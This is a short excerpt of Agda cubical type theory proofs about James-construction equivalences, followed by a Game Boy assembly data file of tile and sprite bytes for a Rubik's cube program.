𝕁0∞→𝕁ames∞→𝕁0∞ : (xs : 𝕁0∞) → 𝕁ames∞→𝕁0∞ (𝕁0∞→𝕁ames∞ xs) ≡ xs
𝕁0∞→𝕁ames∞→𝕁0∞ (inl xs) t = inl (𝕁0→𝕁ames→𝕁0 xs t)
𝕁0∞→𝕁ames∞→𝕁0∞ (push xs i) t = push (𝕁0→𝕁ames→𝕁0 xs t) i
𝕁ames∞≃𝕁0∞ : 𝕁ames∞ ≃ 𝕁0∞
𝕁ames∞≃𝕁0∞ = isoToEquiv (iso 𝕁ames∞→𝕁0∞ 𝕁0∞→𝕁ames∞ 𝕁0∞→𝕁ames∞→𝕁0∞ 𝕁ames∞→𝕁0∞→𝕁ames∞)
-- The main equivalence:
𝕁ames∞≃𝕁Red∞ : 𝕁ames∞ ≃ 𝕁Red∞
𝕁ames∞≃𝕁Red∞ = compEquiv 𝕁ames∞≃𝕁0∞ (compEquiv (pathToEquiv (λ i → 𝕁Path∞ i)) 𝕁1∞≃𝕁Red∞)
-- Test of canonicity
private
-- It's good for [].
eq1 : 𝕁ames∞≃𝕁Red∞ .fst (inl []) ≡ inl []
eq1 = refl
-- Without regularity, "obvious" equality doesn't hold definitionally.
eq2 : (x : X) → 𝕁ames∞≃𝕁Red∞ .fst (inl (x ∷ [])) ≡ inl (x ∷ [])
eq2 _ = transportRefl _
|
src/cube_data.asm | NotImplementedLife/rubik | 4 | 19412 | <reponame>NotImplementedLife/rubik
SECTION "CUBE GFX", ROM0
; Cube 0
;--------------------------------------------------------------
Cube0Tiles::
;--------------------------------------------------------------
;Line 1
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $00, $00, $00, $00, $00, $00, $00, $00, $01, $01, $03, $03, $0F, $0F, $1C, $1C
DB $07, $07, $1F, $1F, $38, $38, $F0, $F0, $E0, $E0, $80, $80, $00, $00, $00, $00
DB $80, $80, $E0, $E0, $70, $70, $3C, $3C, $1E, $1E, $07, $07, $03, $03, $00, $00
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $C0, $C0, $E0, $E0
;Line 2
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $01, $01
DB $00, $00, $00, $00, $03, $03, $07, $07, $1F, $1F, $38, $38, $F0, $F0, $E0, $E0
DB $78, $78, $E0, $E0, $C0, $C0, $00, $00, $C0, $C0, $E0, $E0, $78, $78, $3C, $3C
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $78, $78, $1C, $1C, $0F, $0F, $03, $03, $07, $07, $1E, $1E, $38, $38, $F0, $F0
DB $00, $00, $00, $00, $00, $00, $80, $80, $E0, $E0, $70, $70, $3C, $3C, $1E, $1E ; $0B
;Line 3
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $03, $03, $07, $07, $1F, $1F
DB $03, $03, $0F, $0F, $1C, $1C, $78, $78, $E0, $E0, $C0, $C0, $80, $80, $E0, $E0
DB $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $0E, $0E, $07, $07, $01, $01, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00 ; 0F
DB $00, $00, $80, $80, $C0, $C0, $F0, $F0, $38, $38, $1E, $1E, $07, $07, $07, $07
DB $01, $01, $03, $03, $0F, $0F, $1C, $1C, $78, $78, $E0, $E0, $C0, $C0, $C0, $C0
DB $E0, $E0, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $07, $07, $03, $03, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $00, $00, $C0, $C0, $E0, $E0, $78, $78, $1C, $1C, $0F, $0F, $03, $03, $07, $07
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $80, $80, $E0, $E0 ; 15
;Line 4
DB $00, $00, $00, $00, $01, $01, $03, $03, $0F, $0F, $1C, $1C, $78, $78, $E0, $E0
DB $38, $38, $F0, $F0, $E0, $E0, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00
DB $70, $70, $3C, $3C, $1E, $1E, $07, $07, $03, $03, $00, $00, $00, $00, $00, $00
DB $00, $00, $00, $00, $00, $00, $00, $00, $C0, $C0, $E0, $E0, $78, $78, $1C, $1C
DB $00, $00, $00, $00, $00, $00, $01, $01, $03, $03, $0F, $0F, $1C, $1C, $78, $78
DB $1E, $1E, $38, $38, $F0, $F0, $E0, $E0, $80, $80, $00, $00, $00, $00, $00, $00
DB $E0, $E0, $78, $78, $3C, $3C, $0E, $0E, $07, $07, $01, $01, $00, $00, $00, $00
DB $00, $00, $00, $00, $00, $00, $00, $00, $80, $80, $C0, $C0, $F0, $F0, $38, $38
DB $00, $00, $00, $00, $00, $00, $01, $01, $03, $03, $0F, $0F, $1C, $1C, $78, $78
DB $1E, $1E, $38, $38, $F0, $F0, $E0, $E0, $80, $80, $00, $00, $00, $00, $00, $00
DB $70, $70, $3C, $3C, $1E, $1E, $07, $07, $03, $03, $00, $00, $00, $00, $00, $00
DB $00, $00, $00, $00, $00, $00, $00, $00, $C0, $C0, $E0, $E0, $78, $78, $1C, $1C ; 21
;Line 5
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03
DB $C0, $C0, $00, $00, $C0, $C0, $E0, $E0, $78, $78, $1C, $1C, $0F, $0F, $07, $07
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $80, $80
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $01, $01, $03, $03
DB $0F, $0F, $03, $03, $07, $07, $1E, $1E, $38, $38, $F0, $F0, $E0, $E0, $80, $80
DB $E0, $E0, $C0, $C0, $E0, $E0, $70, $70, $3C, $3C, $1E, $1E, $07, $07, $03, $03
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $C0, $C0
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $01, $01, $03, $03
DB $1E, $1E, $07, $07, $07, $07, $1E, $1E, $38, $38, $F0, $F0, $E0, $E0, $80, $80
DB $E0, $E0, $C0, $C0, $C0, $C0, $E0, $E0, $78, $78, $3C, $3C, $0E, $0E, $07, $07
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $80, $80
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $03, $03, $07, $07
DB $0F, $0F, $03, $03, $0F, $0F, $1F, $1F, $7B, $7B, $E3, $E3, $C3, $C3, $83, $83 ;2E
;Line 6
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03
DB $01, $01, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $C0, $C0, $F0, $F0, $38, $38, $1E, $1E, $07, $07, $03, $03, $03, $03, $03, $03
DB $0F, $0F, $1C, $1C, $78, $78, $E0, $E0, $C0, $C0, $C0, $C0, $E0, $E0, $78, $78
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $E0, $E0, $78, $78, $1C, $1C, $0F, $0F, $03, $03, $07, $07, $1E, $1E, $38, $38
DB $0F, $0F, $1C, $1C, $78, $78, $E0, $E0, $C0, $C0, $E0, $E0, $70, $70, $3C, $3C
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $01, $01, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $C0, $C0, $F0, $F0, $38, $38, $1F, $1F, $07, $07, $0F, $0F, $1F, $1F, $7B, $7B
DB $0E, $0E, $3C, $3C, $70, $70, $E0, $E0, $80, $80, $00, $00, $00, $00, $00, $00
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03 ;3B
;Line 7
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03
DB $00, $00, $80, $80, $C0, $C0, $E0, $E0, $78, $78, $1C, $1C, $0F, $0F, $07, $07
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $83, $83
DB $1C, $1C, $0F, $0F, $07, $07, $01, $01, $00, $00, $00, $00, $00, $00, $00, $00
DB $00, $00, $00, $00, $80, $80, $C0, $C0, $F0, $F0, $38, $38, $1E, $1E, $07, $07
DB $00, $00, $01, $01, $03, $03, $0F, $0F, $1C, $1C, $78, $78, $E0, $E0, $C0, $C0
DB $F0, $F0, $E0, $E0, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $1E, $1E, $07, $07, $03, $03, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $00, $00, $00, $00, $C0, $C0, $E0, $E0, $78, $78, $1C, $1C, $0F, $0F, $03, $03
DB $00, $00, $03, $03, $07, $07, $0E, $0E, $3C, $3C, $70, $70, $E0, $E0, $80, $80
DB $E3, $E3, $C3, $C3, $83, $83, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $03, $03, $07, $07
DB $03, $03, $07, $07, $0F, $0F, $1F, $1F, $7B, $7B, $E3, $E3, $C3, $C3, $83, $83 ;48
;Line 8
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03
DB $01, $01, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $C3, $C3, $F3, $F3, $3B, $3B, $1F, $1F, $07, $07, $03, $03, $03, $03, $03, $03
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $C0, $C0, $E0, $E0, $78, $78
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03
DB $C0, $C0, $E0, $E0, $78, $78, $1C, $1C, $0F, $0F, $07, $07, $01, $01, $00, $00
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $80, $80, $C0, $C0, $F0, $F0
DB $00, $00, $00, $00, $00, $00, $00, $00, $03, $03, $07, $07, $0E, $0E, $3C, $3C
DB $0F, $0F, $1F, $1F, $7B, $7B, $E3, $E3, $C3, $C3, $83, $83, $03, $03, $03, $03
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $0F, $0F, $1F, $1F, $7B, $7B
DB $0E, $0E, $3C, $3C, $70, $70, $E0, $E0, $80, $80, $00, $00, $00, $00, $00, $00
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03 ; 55
;Line 9
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03
DB $00, $00, $80, $80, $C0, $C0, $E0, $E0, $78, $78, $1C, $1C, $0F, $0F, $07, $07
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $83, $83
DB $1C, $1C, $0F, $0F, $07, $07, $01, $01, $00, $00, $00, $00, $00, $00, $00, $00
DB $03, $03, $03, $03, $83, $83, $C3, $C3, $F3, $F3, $3B, $3B, $1F, $1F, $07, $07
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $38, $38, $1F, $1F, $07, $07, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03
DB $70, $70, $E0, $E0, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03
DB $00, $00, $03, $03, $07, $07, $0E, $0E, $3C, $3C, $70, $70, $E0, $E0, $80, $80
DB $E3, $E3, $C3, $C3, $83, $83, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $03, $03, $07, $07
DB $03, $03, $07, $07, $0F, $0F, $1F, $1F, $7B, $7B, $E3, $E3, $C3, $C3, $83, $83 ; 62
;Line 10
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03
DB $01, $01, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $C3, $C3, $F3, $F3, $3B, $3B, $1F, $1F, $07, $07, $03, $03, $03, $03, $03, $03
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $C0, $C0, $E0, $E0, $78, $78
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03
DB $C0, $C0, $E0, $E0, $78, $78, $1C, $1C, $0F, $0F, $07, $07, $01, $01, $00, $00
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $83, $83, $C3, $C3, $F3, $F3
DB $00, $00, $00, $00, $00, $00, $00, $00, $03, $03, $07, $07, $0E, $0E, $3C, $3C
DB $0F, $0F, $1F, $1F, $7B, $7B, $E3, $E3, $C3, $C3, $83, $83, $03, $03, $03, $03
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $0F, $0F, $1F, $1F, $7B, $7B
DB $0E, $0E, $3C, $3C, $70, $70, $E0, $E0, $80, $80, $00, $00, $00, $00, $00, $00
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03 ; 6F
; Line 11
DB $3B, $3B, $1F, $1F, $07, $07, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03
DB $70, $70, $E0, $E0, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
REPT(14)
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
ENDR
; Line 11
DB $03, $03, $03, $03, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $00, $00, $C0, $C0, $E0, $E0, $78, $78, $1C, $1C, $0F, $0F, $07, $07, $01, $01
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $83, $83, $C3, $C3
DB $1C, $1C, $0F, $0F, $07, $07, $01, $01, $00, $00, $00, $00, $00, $00, $00, $00
DB $03, $03, $03, $03, $83, $83, $C3, $C3, $F3, $F3, $3B, $3B, $1F, $1F, $07, $07
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
;
;
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03
DB $00, $00, $03, $03, $07, $07, $0E, $0E, $3C, $3C, $70, $70, $E0, $E0, $80, $80
DB $E3, $E3, $C3, $C3, $83, $83, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $03, $03, $07, $07, $0E, $0E
DB $03, $03, $0F, $0F, $1C, $1C, $78, $78, $E0, $E0, $C0, $C0, $80, $80, $00, $00 ;8A ;8A
; Line 12
DB $F3, $F3, $3B, $3B, $1F, $1F, $07, $07, $03, $03, $00, $00, $00, $00, $00, $00
DB $00, $00, $00, $00, $00, $00, $00, $00, $C0, $C0, $E0, $E0, $78, $78, $1C, $1C
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03
DB $C0, $C0, $E0, $E0, $78, $78, $1C, $1C, $0F, $0F, $07, $07, $01, $01, $00, $00
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $83, $83, $C3, $C3, $F3, $F3
DB $00, $00, $00, $00, $00, $00, $00, $00, $03, $03, $07, $07, $0E, $0E, $3C, $3C
DB $0F, $0F, $1F, $1F, $7B, $7B, $E3, $E3, $C3, $C3, $83, $83, $03, $03, $03, $03
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $03, $03, $03, $03, $03, $03, $03, $03, $0F, $0F, $1C, $1C, $78, $78, $E0, $E0
DB $3C, $3C, $70, $70, $E0, $E0, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00 ; 94
; Line 13
DB $0F, $0F, $07, $07, $01, $01, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $03, $03, $83, $83, $C3, $C3, $F3, $F3, $3B, $3B, $1F, $1F, $07, $07, $03, $03
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $C0, $C0
DB $3B, $3B, $1F, $1F, $07, $07, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03
DB $70, $70, $E0, $E0, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $0F, $0F
DB $03, $03, $07, $07, $0E, $0E, $3C, $3C, $70, $70, $E0, $E0, $80, $80, $00, $00 ;9B
DB $C0, $C0, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
; Line 14
DB $E0, $E0, $78, $78, $1C, $1C, $0F, $0F, $07, $07, $01, $01, $00, $00, $00, $00
DB $03, $03, $03, $03, $03, $03, $03, $03, $83, $83, $C3, $C3, $F3, $F3, $3B, $3B
DB $00, $00, $00, $00, $00, $00, $03, $03, $07, $07, $0E, $0E, $3C, $3C, $70, $70
DB $1C, $1C, $78, $78, $E0, $E0, $C0, $C0, $80, $80, $00, $00, $00, $00, $00, $00; A0
; Line 15
DB $1F, $1F, $07, $07, $03, $03, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $E0, $E0, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
REPT(13)
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
ENDR
; Arrow sprite tiles
DB $00, $00, $00, $00, $04, $04, $06, $06, $1f, $1f, $3f, $3f, $76, $76, $64, $64 ; V
DB $c0, $c0, $c0, $c0, $c0, $c0, $c0, $c0, $c0, $c0, $c0, $c0, $c0, $c0, $c0, $c0
DB $0c, $0c, $1e, $1e, $3f, $3f, $0c, $0c, $0e, $0e, $07, $07, $03, $03, $00, $00 ; H
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $ff, $ff, $ff, $ff
; Menu sprites
DB $00, $00, $3f, $00, $7f, $1f, $7f, $20, $70, $2f, $77, $2f, $77, $2c, $77, $2c
DB $00, $00, $ff, $00, $ff, $ff, $ff, $00, $00, $ff, $ff, $ff, $ff, $00, $ff, $00
DB $00, $00, $fc, $00, $fe, $f8, $f6, $0c, $16, $ec, $f6, $ec, $f6, $2c, $f6, $2c
DB $ff, $00, $ff, $04, $ff, $1c, $ff, $24, $ff, $7c, $ff, $44, $ff, $44, $ff, $00
DB $ff, $00, $ff, $70, $ff, $48, $ff, $78, $ff, $44, $ff, $44, $ff, $78, $ff, $00
DB $ff, $00, $ff, $38, $ff, $44, $ff, $40, $ff, $40, $ff, $44, $ff, $38, $ff, $00
DB $ff, $00, $ff, $48, $ff, $48, $ff, $50, $ff, $60, $ff, $50, $ff, $48, $ff, $00
DB $77, $2c, $77, $2c, $77, $2c, $77, $2c, $77, $2c, $77, $2c, $77, $2c, $77, $2c
DB $ff, $00, $ff, $40, $ff, $40, $ff, $40, $ff, $40, $ff, $40, $ff, $78, $ff, $00
DB $f6, $2c, $f6, $2c, $f6, $2c, $f6, $2c, $f6, $2c, $f6, $2c, $f6, $2c, $f6, $2c
DB $ff, $00, $ff, $78, $ff, $40, $ff, $70, $ff, $40, $ff, $40, $ff, $78, $ff, $00
DB $ff, $00, $ff, $38, $ff, $10, $ff, $10, $ff, $10, $ff, $10, $ff, $38, $ff, $00
DB $ff, $00, $ff, $00, $ff, $00, $ff, $00, $ff, $00, $ff, $00, $ff, $00, $ff, $00
DB $ff, $00, $ff, $10, $ff, $18, $ff, $1c, $ff, $1e, $ff, $1c, $ff, $18, $ff, $10
DB $77, $2c, $77, $2c, $77, $2f, $7f, $20, $60, $3f, $7f, $1f, $3f, $00, $00, $00
DB $ff, $00, $ff, $00, $ff, $ff, $ff, $00, $00, $ff, $ff, $ff, $ff, $00, $00, $00
DB $f6, $2c, $f6, $2c, $f6, $ec, $f6, $0c, $06, $fc, $fe, $f8, $fc, $00, $00, $00
DB $ff, $00, $ff, $78, $ff, $44, $ff, $78, $ff, $50, $ff, $48, $ff, $44, $ff, $00
DB $ff, $00, $ff, $30, $ff, $48, $ff, $20, $ff, $10, $ff, $48, $ff, $30, $ff, $00
DB $ff, $00, $ff, $7c, $ff, $10, $ff, $10, $ff, $10, $ff, $10, $ff, $10, $ff, $00
;--------------------------------------------------------------
Cube0TilesEnd::
;--------------------------------------------------------------
; Cube 1
;--------------------------------------------------------------
Cube1Tiles::
;--------------------------------------------------------------
; COPY
; Line 11
DB $03, $03, $03, $03, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $00, $00, $C0, $C0, $E0, $E0, $78, $78, $1C, $1C, $0F, $0F, $07, $07, $01, $01
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $83, $83, $C3, $C3
DB $1C, $1C, $0F, $0F, $07, $07, $01, $01, $00, $00, $00, $00, $00, $00, $00, $00
DB $03, $03, $03, $03, $83, $83, $C3, $C3, $F3, $F3, $3B, $3B, $1F, $1F, $07, $07
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
;
;
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03
DB $00, $00, $03, $03, $07, $07, $0E, $0E, $3C, $3C, $70, $70, $E0, $E0, $80, $80
DB $E3, $E3, $C3, $C3, $83, $83, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $03, $03, $07, $07, $0E, $0E
DB $03, $03, $0F, $0F, $1C, $1C, $78, $78, $E0, $E0, $C0, $C0, $80, $80, $00, $00 ;8A ;8A
; Line 12
DB $F3, $F3, $3B, $3B, $1F, $1F, $07, $07, $03, $03, $00, $00, $00, $00, $00, $00
DB $00, $00, $00, $00, $00, $00, $00, $00, $C0, $C0, $E0, $E0, $78, $78, $1C, $1C
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03
DB $C0, $C0, $E0, $E0, $78, $78, $1C, $1C, $0F, $0F, $07, $07, $01, $01, $00, $00
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $83, $83, $C3, $C3, $F3, $F3
DB $00, $00, $00, $00, $00, $00, $00, $00, $03, $03, $07, $07, $0E, $0E, $3C, $3C
DB $0F, $0F, $1F, $1F, $7B, $7B, $E3, $E3, $C3, $C3, $83, $83, $03, $03, $03, $03
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $03, $03, $03, $03, $03, $03, $03, $03, $0F, $0F, $1C, $1C, $78, $78, $E0, $E0
DB $3C, $3C, $70, $70, $E0, $E0, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00 ; 94
; Line 13
DB $0F, $0F, $07, $07, $01, $01, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $03, $03, $83, $83, $C3, $C3, $F3, $F3, $3B, $3B, $1F, $1F, $07, $07, $03, $03
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $C0, $C0
DB $3B, $3B, $1F, $1F, $07, $07, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03
DB $70, $70, $E0, $E0, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $0F, $0F
DB $03, $03, $07, $07, $0E, $0E, $3C, $3C, $70, $70, $E0, $E0, $80, $80, $00, $00 ;9B
DB $C0, $C0, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
; Line 14
DB $E0, $E0, $78, $78, $1C, $1C, $0F, $0F, $07, $07, $01, $01, $00, $00, $00, $00
DB $03, $03, $03, $03, $03, $03, $03, $03, $83, $83, $C3, $C3, $F3, $F3, $3B, $3B
DB $00, $00, $00, $00, $00, $00, $03, $03, $07, $07, $0E, $0E, $3C, $3C, $70, $70
DB $1C, $1C, $78, $78, $E0, $E0, $C0, $C0, $80, $80, $00, $00, $00, $00, $00, $00; A0
; Line 15
DB $1F, $1F, $07, $07, $03, $03, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $E0, $E0, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
REPT(13)
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
ENDR
; Line 2
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $03, $03, $03, $03, $03, $03
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $FF, $FF, $FF, $FF, $00, $00
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $FF, $FF, $FF, $FF, $0C, $0C
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $FF, $FF, $FF, $FF, $00, $00
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $FF, $FF, $FF, $FF, $60, $60
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $FF, $FF, $FF, $FF, $00, $00
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $C0, $C0, $C0, $C0, $C0, $C0 ; 07
;Line 3
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00 ; 09
DB $0C, $0C, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $60, $60, $60, $60, $60, $60, $60, $60, $60, $60, $60, $60, $60, $60, $60, $60
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00 ; 0D
DB $C0, $C0, $C0, $C0, $C0, $C0, $C0, $C0, $C0, $C0, $C0, $C0, $C0, $C0, $C0, $C0
; Line 4
DB $06, $06, $06, $06, $06, $06, $06, $06, $07, $07, $07, $07, $06, $06, $06, $06
DB $00, $00, $00, $00, $00, $00, $00, $00, $FF, $FF, $FF, $FF, $00, $00, $00, $00 ; 10
DB $18, $18, $18, $18, $18, $18, $18, $18, $FF, $FF, $FF, $FF, $18, $18, $18, $18
DB $00, $00, $00, $00, $00, $00, $00, $00, $FF, $FF, $FF, $FF, $00, $00, $00, $00 ; 12
DB $60, $60, $60, $60, $60, $60, $30, $30, $FF, $FF, $FF, $FF, $30, $30, $30, $30
DB $00, $00, $00, $00, $00, $00, $00, $00, $FF, $FF, $FF, $FF, $00, $00, $00, $00 ; 14
DB $C0, $C0, $E0, $E0, $60, $60, $60, $60, $E0, $E0, $E0, $E0, $60, $60, $60, $60
; Line 5
DB $06, $06, $0C, $0C, $0C, $0C, $0C, $0C, $0C, $0C, $0C, $0C, $0F, $0F, $1F, $1F
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $FF, $FF, $FF, $FF ; 17
DB $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $FF, $FF, $FF, $FF
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $FF, $FF, $FF, $FF ; 19
DB $30, $30, $30, $30, $30, $30, $30, $30, $30, $30, $30, $30, $FF, $FF, $FF, $FF
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $FF, $FF, $FF, $FF ; 1B
DB $60, $60, $60, $60, $60, $60, $60, $60, $60, $60, $60, $60, $F0, $F0, $F0, $F0
; Line 6
DB $00, $00, $00, $00, $01, $01, $03, $03, $0F, $0F, $1F, $1F, $7F, $7F, $FF, $FF
DB $7c, $3c, $fc, $fc, $f8, $f8, $f8, $f8, $f8, $f8, $f8, $f8, $f8, $f8, $f8, $f8
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00 ; 1F
DB $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00 ; 21
DB $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00 ; 23
DB $30, $30, $3C, $3C, $3E, $3E, $3F, $3F, $3F, $3F, $3F, $3F, $3F, $3F, $3F, $3F
DB $00, $00, $00, $00, $00, $00, $00, $00, $C0, $C0, $E0, $E0, $F8, $F8, $FC, $FC
;Line 7
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03
DB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $7F, $7F, $1F, $1F, $0F, $0F, $07, $07
